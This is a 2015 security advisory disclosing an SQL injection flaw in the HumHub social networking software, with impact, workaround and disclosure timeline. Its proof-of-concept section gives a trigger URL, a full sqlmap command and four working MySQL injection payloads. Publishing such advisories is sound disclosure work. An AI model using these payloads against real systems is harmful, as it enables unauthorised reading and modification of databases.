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=== LSE Leading Security Experts GmbH - Security Advisory 2015-10-14 === HumHub - SQL-Injection ------------------------------------------------------------------------ Tested Versions =============== HumHub 0.11.2 and 0.20.0-beta.2 Issue Overview ============== Vulnerability Type: 89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Technical Risk: high Likelihood of Exploitation: high Vendor:HumHub GmbH & Co. KG Vendor URL: https://www.humhub.org Credits: LSE Leading Security Experts GmbH employee Eric Sesterhenn Advisory URL: https://www.lsexperts.de/advisories/lse-2015-10-14.txt Advisory Status: Public CVE-Number: ---- CVE URL: --- Impact ====== Enables to read and modify the HumHub Mysql Database. Issue Description ================= While conducting an internal software evaluation, LSE Leading Security Experts GmbH discovered that the humhub social networking software is subject to an sql-injection attack. Temporary Workaround and Fix ============================ LSE Leading Security Experts GmbH advises to block access to the humhub software until the vendor provides a patch. Proof of Concept ================ Opening the following URL http://localhost/humhub/humhub-0.11.2/index.php?r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5%27%22&mode=normal shows the SQL-error, which is easily exploitable using sqlmap. ./sqlmap.py -u 'http://localhost:9933/humhub/humhub-0.11.2/index.php?r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5&mode=normal' --cookie='pm_getting-started-panel=expanded; pm_new-people-panel=expanded; pm_user-statistics-panel=expanded; pm_new-spaces-panel=expanded; pm_spaces-statistics-panel=expanded; sin=f9vou17vnik100rrr5b26v8ip3; CSRF_TOKEN=d94129bfdd49e5d2c628928228519cd6b2c9cf54' --level=2 --risk=2-p from -a ... --- Parameter: from (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=-4670 OR 5804=5804#&mode=normal Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5 AND (SELECT 7208 FROM(SELECT COUNT(*),CONCAT(0x7170627671,(SELECT (ELT(7208=7208,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&mode=normal Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5;(SELECT * FROM (SELECT(SLEEP(5)))OXGN)#&mode=normal Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5 AND (SELECT * FROM (SELECT(SLEEP(5)))nBYr)&mode=normal --- History ======= 2015-10-14Issue discovered 2015-10-15Vendor contacted 2015-10-15Vendor response and hotfix 2015-10-20Vendor releases fixed versions 2015-11-30Advisory release GPG Signature ============= This advisory is signed with the GPG key of the LSE Leading Security Experts GmbH advisories team. The key can be downloaded here: https://www.lsexperts.de/advisories-key-99E3277C.asc |
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